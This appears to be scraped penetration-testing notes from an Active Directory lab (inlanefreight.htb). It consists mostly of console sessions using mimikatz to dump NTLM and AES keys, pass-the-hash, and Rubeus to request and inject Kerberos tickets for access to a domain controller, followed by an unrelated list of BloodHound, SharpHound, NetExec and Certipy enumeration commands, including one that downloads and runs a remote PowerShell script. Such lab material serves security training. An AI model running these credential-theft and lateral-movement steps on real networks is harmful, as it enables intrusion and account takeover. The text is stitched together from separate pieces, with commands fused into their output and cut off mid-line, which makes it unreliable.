doIE9jCCBPKgAwIBBaEDAgEWooIECTCCBAVhggQBMIID/aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggPLMIIDx6ADAgESoQMCAQKiggO5BIIDtc6ptErl3sAxJsqVTkV84/IcqkpopGPYMWzPcXaZgPK9hL0579FGJEBXX+Ae90rOcpbrbErMr52WEVa/E2vVsf37546ScP0+9LLgwOAoLLkmXAUqP4zJw47nFjbZQ3PHs+vt6LI1UnGZoaUNcn1xI7VasrDoFakj/ZH+GZ7EjgpBQFDZy0acNL8cK0AIBIe8fBF5K7gDPQugXaB6diwoVzaO/E/p8m3t35CR1PqutI5SiPUNim0s/snipaQnyuAZzOqFmhwPPujdwOtm1jvrmKV1zKcEo2CrMb5xmdoVkSn4L6AlX328K0+OUILS5GOe2gX6Tv1zw1F9ANtEZF6FfUk9A6E0dc/OznzApNlRqnJ0dq45mD643HbewZTV8YKS/lUovZ6WsjsyOy6UGKj+qF8WsOK1YsO0rW4ebWJOnrtZoJXryXYDf+mZ43yKcS10etHsq1B2/XejadVr1ZY7HKoZKi3gOx3ghk8foGPfWE6kLmwWnT16COWVI69D9pnxjHVXKbB5BpQWAFUtEGNlj7zzWTPEtZMVGeTQOZ0FfWPRS+EgLmxUc47GSVON7jhOTx3KJDmE7WHGsYzkWtKFxKEWMNxIC03P7r9seEo5RjS/WLant4FCPI+0S/tasTp6GGP30lbZT31WQER49KmSC75jnfT/9lXMVPHsA3VGG2uwGXbq1H8UkiR0ltyD99zDVTmYZ1aP4y63F3Av9cg3dTnz60hNb7H+AFtfCjHGWdwpf9HZ0u0HlBHSA7pYADoJ9+ioDghL+cqzPn96VyDcqbauwX/FqC/udT+cgmkYFzSIzDhZv6EQmjUL4b2DFL/Mh8BfHnFCHLJdAVRdHlLEEl1MdK9/089O06kD3qlE6s4hewHwqDy39ORxAHHQBFPU211nhuU4Jofb97d7tYxn8f8c5WxZmk1nPILyAI8u9z0nbOVbdZdNtBg5sEX+IRYyY7o0z9hWJXpDPuk0ksDgDckPWtFvVqX6Cd05yP2OdbNEeWns9JV2D5zdS7Q8UMhVo7z4GlFhT/eOopfPc0bxLoOv7y4fvwhkFh/9LfKu6MLFneNff0Duzjv9DQOFd1oGEnA4MblzOcBscoH7CuscQQ8F5xUCf72BVY5mShq8S89FG9GtYotmEUe/j+Zk6QlGYVGcnNcDxIRRuyI1qJZxCLzKnL1xcKBF4RblLcUtkYDT+mZlCSvwWgpieq1VpQg42Cjhxz/+xVW4Vm7cBwpMc77Yd1+QFv0wBAq5BHvPJI4hCVPs7QejgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6ArMCmgAwIBEqEiBCDY03fB0LgV+lC6dRSAr4xk7x/bTG1cXR1uYhqBY/RS7aEJGwdIVEIuQ09NohYwFKADAgEBoQ0wCxsJcGxhaW50ZXh0owcDBQBA4QAApREYDzIwMjIwNzEyMTM0MjE1WqYRGA8yMDIyMDcxMjIzNDIxNVqnERgPMjAyMjA3MTkxMzQyMTVaqAkbB0hUQi5DT02pHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT00=
<SNIP>sekurlsa::ekeys.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exitc:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::ekeys
<SNIP>
Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session : Interactive from 1
User Name : plaintext
Domain : HTB
Logon Server : DC01
Logon Time : 7/12/2022 9:42:15 AM
SID : S-1-5-21-228825152-3134732153-3833540767-1107
* Username : plaintext
* Domain : inlanefreight.htb
* Password : (null)
* Key List :
aes256_hmac b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
rc4_hmac_nt 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_md4 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_nt_exp 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old_exp 3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>.\mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f" exitc:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
user : plaintext
domain : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM : 3f74aa8f08f712f09cd5177b5c1ce50f
| PID 1128
| TID 3268
| LSA Process is now R/W
| LUID 0 ; 3414364 (00000000:0034195c)
\_ msv1_0 - data copy @ 000001C7DBC0B630 : OK !
\_ kerberos - data copy @ 000001C7E20EE578
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 000001C7E2136BC8 (32) -> null.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /rc4:<hash_NTLM> /nowrap.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /aes256:<hash_aes256> /nowrapc:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/LSsa2xrdJJir1eVugDFCoGFT2hDcYcpRdifXw67WofDM6Z6utsha+4bL0z6QN+tdpPlNQFwjuWmBrZtpS9TcCblotYvDHa0aLVsroW/fqXJ4KIV2tVfbVIDJvPkgdNAbhp6NvlbzeakR1oO5RTm7wtRXeTirfo6C9Ap0HnctlHAd+Qnvo2jGUPP6GHIhdlaM+QShdJtzBEeY/xIrORiiylYcBvOoir8mFEzNpQgYADmbTmg+c7/NgNO8Qj4AjrbGjVf/QWLlGc7sH9+tARi/Gn0cGKDK481A0zz+9C5huC9ZoNJ/18rWfJEb4P2kjlgDI0/fauT5xN+3NlmFVv0FSC8/909pUnovy1KkQaMgXkbFjlxeheoPrP6S/TrEQ8xKMyrz9jqs3ENh//q738lxSo8J2rZmv1QHy+wmUKif4DUwPyb4AHgSgCCUUppIFB3UeKjqB5srqHR78YeAWgY7pgqKpKkEomy922BtNprk2iLV1cM0trZGSk6XJ/H+JuLHI5DkuhkjZQbb1kpMA2CAFkEwdL9zkfrsrdIBpwtaki8pvcBPOzAjXzB7MWvhyAQevHCT9y6iDEEvV7fsF/B5xHXiw3Ur3P0xuCS4K/Nf4GC5PIahivW3jkDWn3g/0nl1K9YYX7cfgXQH9/inPS0OF1doslQfT0VUHTzx8vG3H25vtc2mPrfIwfUzmReLuZH8GCvt4p2BAbHLKx6j/HPa4+YPmV0GyCv9iICucSwdNXK53Q8tPjpjROha4AGjaK50yY8lgknRA4dYl7+O2+j4K/lBWZHy+IPgt3TO7YFoPJIEuHtARqigF5UzG1S+mefTmqpuHmoq72KtidINHqi+GvsvALbmSBQaRUXsJW/Lf17WXNXmjeeQWemTxlysFs1uRw9JlPYsGkXFh3fQ2ngax7JrKiO1/zDNf6cvRpuygQRHMOo5bnWgB2E7hVmXm2BTimE7axWcmopbIkEi165VOy/M+pagrzZDLTiLQOP/X8D6G35+srSr4YBWX4524/Nx7rPFCggxIXEU4zq3Ln1KMT9H7efDh+h0yNSXMVqBSCZLx6h3Fm2vNPRDdDrq7uz5UbgqFoR2tgvEOSpeBG5twl4MSh6VA7LwFi2usqqXzuPgqySjA1nPuvfy0Nd14GrJFWo6eDWoOy2ruhAYtaAtYC6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEXoRIEENEzis1B3YAUCjJPPsZjlduhCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUAQOEAAKURGA8yMDIyMDcxMjE1MjgyNlqmERgPMjAyMjA3MTMwMTI4MjZapxEYDzIwMjIwNzE5MTUyODI2WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 11:28:26 AM
EndTime : 7/12/2022 9:28:26 PM
RenewTill : 7/19/2022 11:28:26 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 0TOKzUHdgBQKMk8+xmOV2w==.\Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /pttc:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKh
EzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpcGX6rbUlYxOWeMmu/zb
f7vGgDj/g+P5zzLbr+XTIPG0kI2WCOlAFCQqz84yQd6IRcEeGjG4YX/9ezJogYNtiLnY6YPkqlQaG1Nn
pAQBZMIhs01EH62hJR7W5XN57Tm0OLF6OFPWAXncUNaM4/aeoAkLQHZurQlZFDtPrypkwNFQ0pI60NP2
9H98JGtKKQ9PQWnMXY7Fc/5j1nXAMVj+Q5Uu5mKGTtqHnJcsjh6waE3Vnm77PMilL1OvH3Om1bXKNNan
JNCgb4E9ms2XhO0XiOFv1h4P0MBEOmMJ9gHnsh4Yh1HyYkU+e0H7oywRqTcsIg1qadE+gIhTcR31M5mX
5TkMCoPmyEIk2MpO8SwxdGYaye+lTZc55uW1Q8u8qrgHKZoKWk/M1DCvUR4v6dg114UEUhp7WwhbCEtg
5jvfr4BJmcOhhKIUDxyYsT3k59RUzzx7PRmlpS0zNNxqHj33yAjm79ECEc+5k4bNZBpS2gJeITWfcQOp
lQ08ZKfZw3R3TWxqca4eP9Xtqlqv9SK5kbbnuuWIPV2/QHi3deB2TFvQp9CSLuvkC+4oNVg3VVR4bQ1P
fU0+SPvL80fP7ZbmJrMan1NzLqit2t7MPEImxum049nUbFNSH6D57RoPAaGvSHePEwbqIDTghCJMic2X
c7YJeb7y7yTYofA4WXC2f1MfixEEBIqtk/drhqJAVXz/WY9r/sWWj6dw9eEhmj/tVpPG2o1WBuRFV72K
Qp3QMwJjPEKVYVK9f+uahPXQJSQ7uvTgfj3N5m48YBDuZEJUJ52vQgEctNrDEUP6wlCU5M0DLAnHrVl4
Qy0qURQa4nmr1aPlKX8rFd/3axl83HTPqxg/b2CW2YSgEUQUe4SqqQgRlQ0PDImWUB4RHt+cH6D563n4
PN+yqN20T9YwQMTEIWi7mT3kq8JdCG2qtHp/j2XNuqKyf7FjUs5z4GoIS6mp/3U/kdjVHonq5TqyAWxU
wzVSa4hlVgbMq5dElbikynyR8maYftQk+AS/xYby0UeQweffDOnCixJ9p7fbPu0Sh2QWbaOYvaeKiG+A
GhUAUi5WiQMDSf8EG8vgU2gXggt2Slr948fy7vhROp/CQVFLHwl5/kGjRHRdVj4E+Zwwxl/3IQAU0+ag
GrHDlWUe3G66NrR/Jg8zXhiWEiViMd5qPC2JTW1ronEPHZFevsU0pVK+MDLYc3zKdfn0q0a3ys9DLoYJ
8zNLBL3xqHY9lNe6YiiAzPG+Q6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEX
oRIEED0RtMDJnODs5w89WCAI3bChCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUA
QOEAAKURGA8yMDIyMDcxMjE2Mjc0N1qmERgPMjAyMjA3MTMwMjI3NDdapxEYDzIwMjIwNzE5MTYyNzQ3
WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t
[+] Ticket successfully imported!
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 12:27:47 PM
EndTime : 7/12/2022 10:27:47 PM
RenewTill : 7/19/2022 12:27:47 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : PRG0wMmc4OznDz1YIAjdsA==.\Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbic:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Import Ticket
[+] ticket successfully imported!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))
doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQzYYQAAAQtMIQAAAQnoIQAAAADAgEFoYQAAAAJGwdIVEIuQ09NooQAAAAsMIQAAAAmoIQAAAADAgECoYQAAAAXMIQAAAARGwZrcmJ0Z3QbB0hUQi5DT02jhAAAA9cwhAAAA9GghAAAAAMCARKhhAAAAAMCAQKihAAAA7kEggO1zqm0SuXewDEmypVORXzj8hyqSmikY9gxbM9xdpmA8r2EvTnv0UYkQFdf4B73Ss5ylutsSsyvnZYRVr8Ta9Wx/fvnjpJw/T70suDA4CgsuSZcBSo/jMnDjucWNtlDc8ez6<SNIP>.\Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/<SNIP>c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Import Ticket
[+] ticket successfully imported!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>.\mimikatz.exe 'kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"' exitC:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>kerberos::ptt <path_to_ticket.kirbi>Enter-PSSession -ComputerName <target_hostname_or_IP>.\mimikatz.exe "privilege::debug" 'kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"' exitEnter-PSSession -ComputerName DC01C:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi': OK
mimikatz # exit
Bye!
c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
[DC01]: PS C:\Users\john\Documents>.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /showC:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.3
[*] Action: Create process (/netonly)
[*] Using random username and password.
[*] Showing process : True
[*] Username : JMI8CL7C
[*] Domain : DTCDV6VL
[*] Password : MRWI6XGI
[+] Process : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 1556
[+] LUID : 0xe07648.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /rc4:<hash_NTLM> /ptt.\Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /pttC:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.3
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: 9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\john'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFqDCCBaSgAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEFoRMbEUlOTEFORUZSRUlHSFQuSFRC
oiYwJKADAgECoR0wGxsGa3JidGd0GxFpbmxhbmVmcmVpZ2h0Lmh0YqOCBFAwggRMoAMCARKhAwIBAqKC
BD4EggQ6JFh+c/cFI8UqumM6GPaVpUhz3ZSyXZTIHiI/b3jOFtjyD/uYTqXAAq2CkakjomzCUyqUfIE5
+2dvJYclANm44EvqGZlMkFvHK40slyFEK6E6d7O+BWtGye2ytdJr9WWKWDiQLAJ97nrZ9zhNCfeWWQNQ
dpAEeCZP59dZeIUfQlM3+/oEvyJBqeR6mc3GuicxbJA743TLyQt8ktOHU0oIz0oi2p/VYQfITlXBmpIT
OZ6+/vfpaqF68Y/5p61V+B8XRKHXX2JuyX5+d9i3VZhzVFOFa+h5+efJyx3kmzFMVbVGbP1DyAG1JnQO
h1z2T1egbKX/Ola4unJQRZXblwx+xk+MeX0IEKqnQmHzIYU1Ka0px5qnxDjObG+Ji795TFpEo04kHRwv
zSoFAIWxzjnpe4J9sraXkLQ/btef8p6qAfeYqWLxNbA+eUEiKQpqkfzbxRB5Pddr1TEONiMAgLCMgphs
gVMLj6wtH+gQc0ohvLgBYUgJnSHV8lpBBc/OPjPtUtAohJoas44DZRCd7S9ruXLzqeUnqIfEZ/DnJh3H
SYtH8NNSXoSkv0BhotVXUMPX1yesjzwEGRokLjsXSWg/4XQtcFgpUFv7hTYTKKn92dOEWePhDDPjwQmk
H6MP0BngGaLK5vSA9AcUSi2l+DSaxaR6uK1bozMgM7puoyL8MPEhCe+ajPoX4TPn3cJLHF1fHofVSF4W
nkKhzEZ0wVzL8PPWlsT+Olq5TvKlhmIywd3ZWYMT98kB2igEUK2G3jM7XsDgwtPgwIlP02bXc2mJF/VA
qBzVwXD0ZuFIePZbPoEUlKQtE38cIumRyfbrKUK5RgldV+wHPebhYQvFtvSv05mdTlYGTPkuh5FRRJ0e
WIw0HWUm3u/NAIhaaUal+DHBYkdkmmc2RTWk34NwYp7JQIAMxb68fTQtcJPmLQdWrGYEehgAhDT2hX+8
VMQSJoodyD4AEy2bUISEz6x5gjcFMsoZrUmMRLvUEASB/IBW6pH+4D52rLEAsi5kUI1BHOUEFoLLyTNb
4rZKvWpoibi5sHXe0O0z6BTWhQceJtUlNkr4jtTTKDv1sVPudAsRmZtR2GRr984NxUkO6snZo7zuQiud
7w2NUtKwmTuKGUnNcNurz78wbfild2eJqtE9vLiNxkw+AyIr+gcxvMipDCP9tYCQx1uqCFqTqEImOxpN
BqQf/MDhdvked+p46iSewqV/4iaAvEJRV0lBHfrgTFA3HYAhf062LnCWPTTBZCPYSqH68epsn4OsS+RB
gwJFGpR++u1h//+4Zi++gjsX/+vD3Tx4YUAsMiOaOZRiYgBWWxsI02NYyGSBIwRC3yGwzQAoIT43EhAu
HjYiDIdccqxpB1+8vGwkkV7DEcFM1XFwjuREzYWafF0OUfCT69ZIsOqEwimsHDyfr6WhuKua034Us2/V
8wYbbKYjVj+jgfEwge6gAwIBAKKB5gSB432B4DCB3aCB2jCB1zCB1KArMCmgAwIBEqEiBCDlV0Bp6+en
HH9/2tewMMt8rq0f7ipDd/UaU4HUKUFaHaETGxFJTkxBTkVGUkVJR0hULkhUQqIRMA+gAwIBAaEIMAYb
BGpvaG6jBwMFAEDhAAClERgPMjAyMjA3MTgxMjQ0NTBaphEYDzIwMjIwNzE4MjI0NDUwWqcRGA8yMDIy
MDcyNTEyNDQ1MFqoExsRSU5MQU5FRlJFSUdIVC5IVEKpJjAkoAMCAQKhHTAbGwZrcmJ0Z3QbEWlubGFu
ZWZyZWlnaHQuaHRi
[+] Ticket successfully imported!
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : INLANEFREIGHT.HTB
UserName : john
UserRealm : INLANEFREIGHT.HTB
StartTime : 7/18/2022 5:44:50 AM
EndTime : 7/18/2022 3:44:50 PM
RenewTill : 7/25/2022 5:44:50 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 5VdAaevnpxx/f9rXsDDLfK6tH+4qQ3f1GlOB1ClBWh0=
ASREP (key) : 9279BCBD40DB957A0ED0D3856B2E67F9BB58E6DC7FC07207D0763CE2713F11DC
c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01














































sudo apt install bloodhound.py -ypip install bloodhoundpipx install bloodhoundgit clone https://github.com/dirkjanm/BloodHound.py
pip install .sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.10.10bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c Allbloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c Allbloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberoscargo install rusthound-cerusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -zrusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhoundrusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -zrusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhoundIEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1"). .\SharpHound.ps1Import-Module .\SharpHound.ps1Invoke-BloodHound -CollectionMethods All -Domain contoso.com.\SharpHound.exe --CollectionMethods Allnxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10nxc ldap dc.dominio.htb -u 'user' -p 'password' -k --bloodhound --collection All --dns-server 10.10.10.10nxc ldap dc.dominio.htb --usekcache --bloodhound --collection All --dns-server 10.10.10.10certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldapcertipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldapcertipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldapcertipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debugcertipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldapcertipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldapcertipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldapcertipy-ad find -k 